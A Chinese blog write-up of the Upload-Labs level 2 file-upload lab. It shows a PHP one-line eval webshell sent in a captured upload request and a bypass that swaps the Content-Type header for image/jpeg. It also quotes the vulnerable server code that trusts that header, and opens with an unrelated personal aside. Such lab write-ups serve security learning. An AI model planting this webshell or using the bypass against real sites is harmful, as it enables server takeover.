上传漏洞 Upload-Labs-2 实战笔记

真叫人难过啊,故事开头就是那么一个远离一切人的小世界,只有一对姐弟彼此拥抱,故事结束仍只是他们两个,和属于他们的世界一起毁灭。

黑盒测试

上传后页面提示文件类型不正确,没有弹框出来。应该不是本地客户端校验,抓包分析。

查看上传木马部分信息

Content-Disposition: form-data; name="upload_file"; filename="m.php"
Content-Type: application/octet-stream

<?php @eval($_POST['x']);?>

第一行是正常的传输信息,第二行是上传文件的类型,关于application/octet-stream这里提起一下,application/octet-stream是以流的形式下载文件,这样可以实现任意格式的文件下载。因为该上传仅允许上传图片格式的文件,遂修改成如下试一下

image/jpeg;image/jpg;image/gif

上传成功。当然仅仅修改成image/jpeg也是可以上传成功的。

关于该漏洞是服务端对数据包的MIME(文件类型的专用数据)进行检查,即对Content-Type的内容进行检查。

白盒测试

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/png')) {
    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
        $img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
    }
} else {
    $msg = '文件类型不正确,请重新上传!';
}

连续三个获取并判断文件的类型是不是image/jpeg,image/png,image/png,其中||是或,or的意思。&&是与,and的意思。这两个符号在一起的Sql注入漏洞中有提起过的。

然后如果只要其中一个文件的类型,也就是Content-Type符合代码中三种类型的其中之一就可以正确上传。

坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%